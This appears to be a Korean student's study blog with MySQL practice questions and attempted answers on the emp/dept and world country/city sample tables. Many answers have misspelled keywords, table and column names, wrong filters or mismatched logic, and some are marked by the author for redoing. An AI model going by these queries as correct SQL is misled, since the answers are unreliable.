FROM emp e, emp m

WHERE e.sal >= 4000 AND e.mgr=m.empno;

 

5. dept 테이블의 데이터를 dept.csv 파일에 저장하시오

SELECT * INTO OUTFILE 'C:\\ProgramData\\MySQL\\MySQL Server 8.0\\Uploads\\dept.csv'

FIELDS TERMINATED BY ','

LINES TERMINATED BY '\n'

FROM dept;

 

728x90
반응형

'공부 > 데이터베이스' 카테고리의 다른 글

저장 프로시저  (0) 2021.05.15
  (0) 2021.05.15
데이터베이스 예제 3  (0) 2021.04.20
데이터베이스 예제 2  (0) 2021.04.20
데이터베이스 예제 1  (0) 2021.04.19
블로그 이미지

아상관없어

,
반응형

1. DALLAS 에서 근무하는 사원의 이름, 부서명, 담당업무를 보이시오

SELECT ename, dname, job

FROM emp, deptno

WHERE emp.deptno=deptno.deptno AND loc='DALLAS';

 

2. DALLAS 에서 근무하는 사원중 연봉이 4000 이하인 사람은 몇 명인가

SELECT COUNT(*) FROM emp, dept

WHERE emp.deptno=dept.deptno AND loc='DALLAS' AND sal<=4000;

 

3. PRESIDENT (사장)이 근무하는 지역은 어디인가

SELECT loc FROM emp, dept WHERE emp.deptno=dept.deptno AND job='PRESIDENT';

 

4. 모든 매니저의 이름과 부하직원의 이름을 보이시오 (매니저이름으로 정렬하여 보 이시오)

SELECT m.ename, e.ename FROM emp e, emp m

WHERE e.mgr=m.empno 

ORDER BY m.ename;

 

5. 모든 매니저의 이름과 부하직원의 숫자를 보이시오 => 다시

SELECT m.ename, COUNT(*) FROM emp e, emp m

WHERE e.mgr=m.empno

GROUP BY m.ename;

 

 

6. 각 지역별로 근무하는 사원들의 연봉 합계를 보이시오 (지역명, 연봉합계)

SELECT loc, SUM(sal) FROM emp, dept 

WHERE emp.deptno=dept.deptno GROUP BY loc;

 

7. 매니저가 아닌 (부하직원이 없는) 사원들은 몇 명인가? -중첩사용과 미사용 둘다 =>다시 

SELECT COUNT(*) FROM emp e

WHERE e.empno NOT IN (SELECT mgr  FROM emp WHERE mgr IS NOT NULL);

 

SELECT COUNT(empno) - COUNT(distinct mgr) from emp;

(전체 직원수에서 매니저 수를 빼면 매니저가 아닌 직원 수만 남음)

 

8. 매니저가 아닌 (부하직원이 없는) 사원들의 연봉합계는 얼마인가 => 다시

SELECT SUM(sal) FROM emp

WHERE empno NOT IN (SELECT mgr FROM emp WHERE mgr IS NOT NULL);

 

 

9. 매니저이름, 부하직원이름, 부서명 을 보이시오 (매니저이름으로 정렬)

SELECT m.ename, e.ename, dept.dname FROM emp e, emp m, dept

WHERE e.mgr=m.empno AND dept.deptno=m.deptno ORDER BY m.ename;

 

 

10. SCOTT 의 매니저는 연봉이 얼마인가

SELECT m.sal FROM emp e, emp m

 WHERE e.mgr=m.empno AND e.ename='SCOTT';

 

11. Asia 지역에 있는 국가의 국가명, 도시명을 보이시오

SELECT country.name, city.name FROM country, city WHERE country.continent='Asia' AND country.code=city.counrtycode;

 

12. South Korea 에 있는 도시명, 도시 인구수(population)를 보이시오

SELECT city.name, city.population FROM country, ciry WHERE country.code=city.countrycode AND country.name = 'SOUNT KOREA';

 

13. South Korea 에 있는 도시중 인구수가 100만 이상인 도시의 도시명, 도시 인구 수(population)를 보이시오

SELECT city.name, city.population FROM city, counrty WHERE

city.popluation>=1000000 AND city.counrtycode=country.code AND country.name='south korea';

 

14. GNP 가200 미만인 국가의 국가명, 도시명, 도시 인구수를 보이시오

SELECT country.name, city.name, city.popluation FROM country, city 

WHERE country.code=city.countrycode AND country.gnp < 200;

 

15. Laos 에 있는 도시수를 보이시오

SELECT COUNT(city.name) FROM country, city WHERE country.code=city.countrycode AND country.name='laos';

 

16. 국가명, 그 국가의 도시의 수를 보이시오 => 다시

SELECT country.name, COUNT(*) FROM country, city

WHERE country.code=city.countrycode

GROUP BY country.name;

 

 

17. 국가명, 그 국가 도시의 평균 인구수를 보이시오

SELECT country.name, AVG(city.popluation) FROM country, city WHERE

country.code=city.countrycode GROUP BY country.name;

 

18. 국가 인구수가 1000만명이 안되는 국가의 국가명, 도시명을 보이시오 => 다시

SELECT country.name, city.name FROM country, city

WHERE country.code=city.countrycode AND country.popluation < 10000000;

 

19. EUROPE 에 있는 국가중 국가 인구수가 1000만명이 안되는 국가의 국가명, 도시 명을 보이시오

SELECT country.name, city.name FROM country, city WHERE

country.code=city.countrycode  AND country.continent='EUROPE' AND country.population<10000000;

 

20. Asia 지역에 있는 국가중 GNP가 20000 이상이고 인구수가 3000만이상인 국가 의 국가명, GNP, 도시명, 도시인구수를 보이시오

SELECT country.name, city.name, city.population FROM country, city

WHERE country.code=city.countrycode AND country.continent ='Asia' AND gnpe >=20000 AND couintry.population>=30000000;

 

1. 연봉을 가장 적게 받는 사원의 이름, 연봉, 부서명을 보이시오

SELECT ename, sal, dname FROM emp, dept 

WHERE emp.deptno=dept.deptno AND sal = (SELECT MIN(sal) FROM emp);

 

2. 연봉을 평균 이상 받는 사원들의 이름, 연봉, 근무지를 보이시오

SELECT ename, sal, loc FROM emp, dept

WHERE emp.deptno=dept.dpetno AND sal >= (SELECT AVG(sal) FROM emp);

 

3. 연봉을 가장 적게 받는 사원의 매니저는 누구인가?

SELECT e.mgr FROM emp e, emp m 

WHERE e.mgr=m.empno AND e.sal = (SELECT MIN(sal) FROM emp);

 

4. 연봉을 가장 많이 받는 사원과 적게 받는 사원의 이름, 연봉을 보이시오 => 다시

SELECT ename, sal FROM emp

WHERE sal = (SELECT MIN(sal) FROM emp) OR sal=(SELECT MAX(sal) FROM emp);

 

5. 연봉을 가장 많이 받는 사원과 적게 받는 사원을 제외한 나머지 사원들의 총 연봉 합계를 보이시오 => 다시

SELECT SUM(sal) FROM emp

WHERE sal != (select max(sal) from emp) and sal != (select min(sal) from emp)

 

6. SALES 부서에 속한 사원들과 동일한 담당업무를 갖는 사원들의 이름, 담당업무를 보이시오 (단 SALES 부서에 속한 사원은 제외) => 다시

SELECT ename, job FROM emp, dept

WHERE dname <> 'SALES' (SALES에 속한 사람은 제외)

AND emp.deptno=dept.deptno

AND job IN(SELECT job FROM emp, dept WHERE emp.deptno=dept.deptno AND dname = 'SALES')

(SALES 부서에 속한 사원들이 가지는 업무 )

 

 

 

7. 연봉을 평균보다 500 이상 적게 받는 사원들의 이름, 부서명, 연봉을 보이시오

SELECT ename, dname, sal FROM emp, dept

WHERE emp.deptno=dept.deptno 

AND sal + 500 < (SELECT AVG(sal) FROM emp);

 

8. JAMES 보다 입사일이 빠른 사원들의 이름, 담당업무, 입사일을 보이시오

SELECT ename, job, hiredate FROM emp

WHERE hiredate < (SELECT hiredate FROM emp WHERE ename='JAMES');

 

9. ADAMS 보다 연봉을 많이 받는 사람은 모두 몇 명인가

SELECT COUNT(*) FROM emp

WHERE sal > (SELECT sal FROM emp WHERE ename='ADAMS');

10. GNP가 가장 높은 국가의 국가명, GNP 를 보이시오

SELECT name, gnp FROM country

WHERE gnp = (SELECT MAX(gnp) FROM country);

 

11. 인구수가 가장 적은 국가의 국가명, GNP 를 보이시오

SELECT name, gnp FROM country

WHERE popluation=(SELECT MIN(popluation) FROM country);

 

12. 인구수가 평균 이상인 국가중 GNP가 50000 이상인 국가의 이름과 GNP 를 보이 시오

SELECT name, gnp FROM country 

WHERE popluation >= (SELECT AVG(popluation) FROM country) AND gnp >= 50000

 

13. 한국(South Korea)보다 GNP 가 높은 ASIA 국가들의 이름과 GNP를 보이시오

SELECT name, gnp FROM country

WHERE gnp > (SELECT gnp FROM country WHERE name='South Korea') AND continent = 'ASIA';

 

14. 일본(Japan)보다 인구수가 많은 ASIA 국가들의 이름, 인구수를 보이시오

SELECT name, population FROM country 

WHERE population > (SELECT population FROM country WHERE name='Japan');

 

 

15. 영토면적(SurfaceArea)이 가장 작은 국가의 이름, 영토면적을 보이시오

SELECT name, surfacearea FROM country

WHERE surfacearea = (SELECT MIN(surfacearea) FROM counrty);

 

16. Canada 보다 영토 면적이 넓은 국가는 모두 몇나라인지 보이시오

SELECT COUNT(*) FROM country WHERE 

surfaceaera > (select surfaceaera from country where name='Canada');

 

1. 연봉을 적게 받는 하위 5 명의 이름, 부서명, 연봉을 보이시오

SELECT ename, dname, sal FROM emp, dept

WHERE emp.deptno=dept.deptno 

ORDER BY sal LIMIT 5;

 

2. 연봉을 평균 보다 적게 받는 사람들 중에서 연봉이 많은 순서대로 3명을 보이시오 (사원번호, 이름, 연봉)

SELECT empno, ename, sal FROM emp

WHERE sal < (SELECT AVG(sal) FROM emp) 

ORDER BY sal DESC 

LIMIT 3;

 

3. SCOTT 보다 연봉을 많이 받는 사람들 중에서 SCOTT 와 연봉이 비슷한 사람 3 명의 이름, 부서명, 연봉을 보이시오

SELECT ename, dname, sal FROM emp, dept

WHERE emp.deptno=dept.deptno AND sal>(SELECT sal FROM emp WHERE ename='SCOTT')

ORDER BY sal

LIMIT 3;

 

4. BLAKE 보다 입사일이 늦은 사람들 중에서 상위 2명을 제외하고 3명의 이름, 부서 명, 입사일자를 보이시오 (입사일자가 빠른순으로)

SELECT ename, dname, hiredate FROM emp, dept

WHERE emp.deptno=dept.deptno AND hiredate >(SELECT hiredate FROM emp WHERE ename='BLAKE')

ORDER BY hiredate

LIMIT 2, 3;

 

5. 연봉금액이 SMITH 와 FORD 사이인 사원의 이름, 연봉을 보이시오. (단 SMITH 와 FORD 는 누가 더연봉을 많이 받는지 알 수 없다) => 다시

SELECT ename, sal FROM emp

WHERE sal BETWEEN (SELECT MIN(sal) FROM emp WHERE ename='SMITH' OR ename='FORD') 

AND (SELECT MAX(sal) FROM emp WHERE ename='SMITH' OR ename='FORD') ;

 

SMITH와 FORD를 포함하지 않으려면  AND ename NOT IN('SMITH', 'FORD')

 

 

6. 소속된 사원의 연봉 총액이 많은 상위 2개의 부서의 이름과, 연봉 총액을 보이시 오

SELECT dname, SUM(sal) WHERE emp, dept

WHERE emp.deptno=dept.deptno 

GROUP BY dname

ORDER BY SUM(sal) DESC

LIMIT 2;

 

 

1. SALES 부서에 근무하는 사원들의 연봉을 월급으로 환산하여 보이되 소수점 이하 는 버리고 보이시오 (사원이름, 월급)

SELECT FLOOR(sal/12);

 

2. 사원의 이름과 사원의 근무지를 하나의 문자열로 만들어 보이시오

SELECT CONTACT(ename, loc) FROM emp, dept

WHERE emp.deptno=detp.deptno;

 

3. 담당업무가 CLERK 인 사원의 이름과 사원의 매니저 이름을 보이되 매니저 이름 은 앞 세글자만 보이시오 => 다시

SELECT e.ename, LEFT(m.ename, 3) FROM emp e, emp m 

WHERE e.job='CLERK' AND e.mgr= m.empno;

 

4. 연봉 3000 이상인 사원의 이름, 담당업무를 보이되 담당업무가 MANAGER 인 경 우는 업무명을 BOSS 로 바꾸어 보이시오 => 다시

SELECT ename, REPLACE(job, 'MANAGER', 'BOSS') FROM emp 

WHERE sal >= 3000;

 

5. 현재 날짜와 시간을 출력 하시오

SELECT NOW();

 

6. 1981년과 1982년에 입사한 사원의 이름, 입사일자를 보이시오 (YEAR 함수 이용 할 것) => 다시

SELECT ename, hiredate FROM emp

WEHRE YEAR(hiredate) IN (1981, 1982);

 

 

7. SCOTT 사원의 입사일부터 오늘까지 근무한 날수를 보이시오 => 다시

TO_DAYS =>  00년 00월 00일 부터 날짜까지의 일자수

SELECT TO_DATYS(CURDATE()) - TO_DAYS(hiredate) + 1 (입사날도 근무일이다)

FROM emp WHERE ename = 'SCOTT'; 

 

8. 2019년 7월 12일은 2019년 1월 1일을 기준으로 몇번 째 날인가 => 다시

SELECT DAYOFYEAR('2019-07-12');

 

 

9. 입사한 날의 요일이 월요일~수요일인 사원의 이름, 급여를 보이시오 => 다시

SELECT ename, sal FROM emp

WHERE WEEKDAY(hiredate) IN (0, 1, 2);

728x90
반응형

'공부 > 데이터베이스' 카테고리의 다른 글

  (0) 2021.05.15
데이터베이스 예제 4  (0) 2021.04.20
데이터베이스 예제 2  (0) 2021.04.20
데이터베이스 예제 1  (0) 2021.04.19
정리  (0) 2021.04.19
블로그 이미지

아상관없어

,
반응형

1. 모든 사원들의 이름을 알파벳 역순으로 보이시오 => 다시

SELECT ename FROM emp ORDER BY ename DESC;

 

2. 모든 담당업무명을 알파멧순으로 보이시오 => 다시

SELECT DISTINCT job FROM emp ORDER BY job;

 

3. 모든 사원의 이름과 업무 , 급여를 급여순으로 보이시오

SELECT ename, job, sal FROM emp ORDERY BY sal;

 

4. 모든 사원의 이름과 부서번호를 입사일자순으로 보이시오

SELECT ename, deptno FROM emp ORDER BY hiredate;

 

5. 모든 사원의 사원번호, 이름, 급여를 부서번호순으로 보이시오

SELECT empno, ename, sal FROM emp ORDER BY deptno;

 

6. 담당업무별 평균연봉을 보이시오

SELECT AVG(sal) FROM emp GROUP BY job;

 

7. 부서별 평균 연봉을 보이되 많은연봉 우선으로 보이시오 => 다시

SELECT deptno, SUM(sal) FROM emp GROUP BY deptno ORDER BY SUM(sal) DESC;

 

8. 각 부서별 최고 연봉을 보이시오

SELECT deptno, MAX(sal) FROM emp GROUP BY deptno;

 

9. 모든 사원의 정보담당업무에 대해 오름차순으로, 그리고 같은 업무내에서는 연봉내림차순으로 정렬하여보이시오 => 다시

SELECT * FROM emp ORDERY BY job, sal DESC;

 

10. 각 매니저별 담당사원의 인원수, 평균 연봉을 보이시오 => 다시

SELECT mgr, COUNT(*), AVG(sal) FROM emp WHERE mgr IS NOT NULL GROUP BY mgr;

 

 

11. 각 담당 업무별로 최고 연봉과 최저 연봉을 보이시오

SELECT job, MAX(sal), MIN(sal) FROM emp GROUP BY job;

 

12. 담당업무별 인원수, 평균 연봉을 보이되 업무별 인원수가 3 명 이상인 경우에 대 해서만 보이시오

=>다시

SELECT job, COUNT(*), AVG(sal) FROM emp GROUP BY job HAVING COUNT(*) >= 3;

 

13. 각 부서별 부서번호, 사원 수, 연봉합계를 보이시오

SELECT deptno, COUNT(*), SUM(sal) FROM emp GROUP BY deptno;

 

14. 각 부서별 부서번호, 사원 수, 연봉합계를 보이되 사원 수가 3 명 이상인 부서의 정보만 보이시오.

SELECT deptno, COUNT(*), SUM(sal) FROM emp GROUP BY deptno HANVING COUNT(*) >= 3;

 

15. 부서번호 , 부서별 사원 수, 연봉 합계를 보이되 급여합계가 4000~5000 사이인 경우만 보이시오 . 단, 입사일자가 1981-01-01 이전 사원은 제외하고, 연봉합계가 많 은 순으로 출력하시오 

 

SELECT deptno, COUNT(*), SUM(sal)

FROM emp

WHERE hiredate >= '1981-01-01'

GROUP BY deptno HAVING SUM(sal) BETWEEN 4000 AND 5000;

ORDER BY SUM(sal) DESC;

 

728x90
반응형

'공부 > 데이터베이스' 카테고리의 다른 글

데이터베이스 예제 4  (0) 2021.04.20
데이터베이스 예제 3  (0) 2021.04.20
데이터베이스 예제 1  (0) 2021.04.19
정리  (0) 2021.04.19
파일 사용  (0) 2021.04.14
블로그 이미지

아상관없어

,
반응형

1. BOSTON 에 있는 부서의 이름은 무엇인가

SELECT dname

FROM dept

WHERE dname='BOSTON';

 

2. 담당업무가 ANALYST 인 사원의 이름, 입사일자를 보이시오

SELECT ename, hiredate

FROM emp

WHERE job = 'ANALYST';

 

3. 입사일자가 1981년 9월 1일 이후인 사원의 이름과 입사일자를 보이시오

SELECT ename, hiredate

FROM emp

WHERE hiredate >= '1981-09-01';

 

4. 연봉이 3000에서 4000 사이인 사원의 이름, 연봉을 보이시오

SELECT ename, sal

FROM emp

WHERE sal BETWEEN 3000 AND 4000;

 

5. 사장의 이름을 보이시오 (힌트: 사장은 매니저가 없다)

SELECT ename 

FROM emp 

WHERE mgr IS NULL;

SELECT ename FROM emp WHERE job = 'president';

 

6. 담당업무가 MANAGER 가 아닌 사원들의 이름, 담당업무를 보이시오

SELECT ename, job FROM emp WHERE job <> 'MANAGER';

 

7. 담당업무가 CLERK, ANALYST, SALESMAN 인 사원들의 이름, 담당업무, 급여를 보이시오

SELECT ename, job, sal FROM emp WHERE job IN ('CLERK', 'ANALYST', 'SALESMAN');

 

8. 연봉이 3000 에서 4000 사이 이거나 담당업무가 MANAGER 인 사원의 이름, 연 봉을 보이시오

SELECT ename, sal FROM emp WHERE (sal BETWEEN 3000 AND 4000) OR (job='MANAGER'); 

 

9. 보너스를 받는 사원들의 이름과 보너스 금액을 보이시오. (보너스가 0인 경우도 받 는 것으로 간주)

SELECT ename, comm FROM emp WHERE com IS NOT NULL;

 

10. 부서번호가 20 인 사원 중에서 담당업무가 CLERK 이고 매니저의 사원번호가 7902 인 사람의 이름을 보이시오

SELECT ename FROM emp WHERE deptno=20 AND job='CLERK' and mgr=7902; 

 

1. 담당 업무가 CLERK 인 사원은 모두 몇 명인가

SELECT COUNT(*) FROM emp WHERE job='CLERK';

 

2. 담당 업무가 CLERK 인 사원의 최고연봉 금액과 최저 연봉금액, 그리고 두 금액 의 차이 금액을 보이시오

SELECT MAX(sal), MIN(sal), MAX(sal) - MIN(sal) FROM emp FROM emp WHERE job='CLERK';

 

3. 입사일이 1981년 9월 1일 이후인 사원의 평균 연봉을 보이시오

SELECT AVG(sal) FROM emp WHERE hiredate > '1981-09-01';

 

4. 매니저의 사원번호가 7698, 7639, 7782 이 아닌 사원의 이름, 담당업무를 보이시오

SELECT ename, job FROM emp WHERE mgr IN (7698, 7639, 7782);

 

5. 1982 년도 와 1983 년도에 입사한 사원의 이름, 입사일자를 보이시오

SELECT ename, hiredate FROM emp WHERE hiredate >= '82/01/01' and hiredate <= '83/12/31' ; 

 

6. 담당업무 이름에 NA 를 포함하고 있는 사원의 이름, 담당업무를 보이시오

SELECT ename, job FROM emp WHERE job LIKE '%NA%';

 

7. 보너스를 받는 사원의 이름과 보너스와 연봉을 합한 금액을 보이시오

SELECT ename, sal+comm FROM emp WHERE comm IS NOT NULL;

 

8. 모든 사원의 연봉을 10% 올려주려면 현재보다 돈이 얼마나 더 있어야 하는지 보 이시오

SELECT SUM(sal*1.1) - SUM(sal) FROM emp;

728x90
반응형

'공부 > 데이터베이스' 카테고리의 다른 글

데이터베이스 예제 3  (0) 2021.04.20
데이터베이스 예제 2  (0) 2021.04.20
정리  (0) 2021.04.19
파일 사용  (0) 2021.04.14
트랜젝션  (0) 2021.04.14
블로그 이미지

아상관없어

,

정리

공부/데이터베이스 2021. 4. 19. 22:55
반응형

-테이블 생성

CREATE TABLE 테이블 이름 {

칼럼이름1 자료형,

칼럼이름2 자료형,

.....

};

 

 

-데이터 추가

INSERT INTO 테이블이름 VALUES(데이터1, 데이터2....)

INSERT INTO 테이블이름 (칼럼이름1, 칼럼이름2.....) VALUES(데이터1, 데이터2....);

 

 

-다른 테이블의 레코드 복사

INSERT INTO 테이블이름 SELECT * FROM 복사할테이블이름;

 

-테이블의 칼럼 구조만 복사

CREATE TABLE 새테이블이름 LIKE 복사할테이블이름;

 

-특정 칼럼 선택 후 복사

INSERT INTO tb1 (name) (SELECT number FROM tb1)

 

-레코드수 제한 표시 LIMIT

SELECT 칼럼이름 FROM 테이블이름 LIMIT 표시할 레코드수;

SELECT * FROM tb LIMIT 3;

 

SELECT * FROM tb LIMIT 3 OFFSET 3

4번째 레코드부터 표시

 

 

 

 

-not equal <>

 

-LIKE

'%A%' => %는 임의의 문자열

'__A%' => -는 문자하나를 뜻함

 

-IS NULL

SELECT * FROM tb1 WHERE age IS NULL;

 

-중복 데이터 제거 DISTINCT

SELECT DISTINCT number FROM tb;

 

 

728x90
반응형

'공부 > 데이터베이스' 카테고리의 다른 글

데이터베이스 예제 2  (0) 2021.04.20
데이터베이스 예제 1  (0) 2021.04.19
파일 사용  (0) 2021.04.14
트랜젝션  (0) 2021.04.14
SQL JOIN  (0) 2021.03.30
블로그 이미지

아상관없어

,